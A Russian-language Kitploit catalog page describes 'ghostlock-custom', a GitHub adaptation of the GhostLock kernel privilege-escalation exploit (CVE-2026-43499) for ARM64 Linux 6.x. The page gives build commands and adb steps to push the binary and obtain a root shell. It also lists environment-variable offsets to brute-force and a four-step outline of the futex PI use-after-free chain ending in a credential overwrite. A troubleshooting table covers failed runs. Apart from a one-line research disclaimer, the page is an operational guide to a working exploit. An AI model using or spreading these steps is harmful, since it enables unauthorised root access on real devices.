Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ghostlock-custom — Адаптация GhostLock (CVE-2026-43499) для не-Android Linux 6.x ARM64 | Kitploit
Инструменты/GitHubGitHub/xiaobailovesstirring/ghostlock-custom
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubxiaobailovesstirring/ghostlock-custom

ghostlock-custom

Адаптация GhostLock (CVE-2026-43499) для не-Android Linux 6.x ARM64

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
1282 месяцев назадЕщё не проверено

GhostLock Custom — адаптированная версия CVE-2026-43499

Эксплойт привилегий GhostLock (CVE-2026-43499) для ядер не-Android Linux 6.x ARM64.

Характеристики ядра

ПараметрЗначение
АрхитектураARM64 (AArch64)
VA_BITS39
KIMAGE_TEXT_BASE0xffffffc008000000
Версия ядра6.x
SELinuxнет
ashmemнет
configfsнет

Сборка

Локальная сборка (требуется кросс-компилятор)

make

Сборка через Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (облачная сборка)

После push автоматически запускается сборка, достаточно скачать artifact.

Использование

# Отправка на целевое устройство
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Получение root shell
adb shell /data/local/tmp/e --shell

# Подстройка смещения pselect (если значение по умолчанию не работает)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Указание физического адреса загрузки
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Переменные окружения

ПеременнаяЗначение по умолчаниюОписание
PSELECT_SHIFT-2Смещение pselect waiter в стеке
KPHYS0x80000000Физический адрес загрузки ядра
KIMAGE_TEXT_BASE0xffffffc008000000Виртуальный базовый адрес ядра

Принцип повышения привилегий

  1. Гонка futex PI: FUTEX_CMP_REQUEUE_PI запускает UAF в remove_waiter()
  2. Перезапись стека pselect: освобождённый rt_mutex_waiter попадает в буфер stack_fds
  3. Запись в дерево PI: через сконструированный fake waiter осуществляется запись по произвольному адресу ядра
  4. Перезапись cred: task_struct->cred перезаписывается на init_cred

Примечания по адаптации

Данная версия урезана на основе ghostlock-oneplus:

  • удалён код отключения SELinux (в этом ядре SELinux нет)
  • удалён код, связанный с ashmem/configfs (в этом ядре этих компонентов нет)
  • удалён код установки KernelSU
  • удалено раскрытие SLIDE KASLR (нет loggers/nfulnl_logger)
  • удалён Android-специфичный код (miniADB и т.п.)

Поиск и устранение неисправностей

СимптомВозможная причинаСпособ решения
Устройство перезагружаетсяНеверный PSELECT_SHIFTПеребирать значения от -4 до +4
Нет эффектаНеверный KPHYSПроверить правильное значение в /proc/iomem
perf_event_open failedОграничение seccompПопробовать запуск через ADB shell
Нет rootНесовпадение смещенийПроверить версию ядра, сверить TASK_CRED_OFF

Отказ от ответственности

Данный инструмент предназначен только для исследований в области безопасности. Всю ответственность за использование несёт пользователь.

Скачать инструмент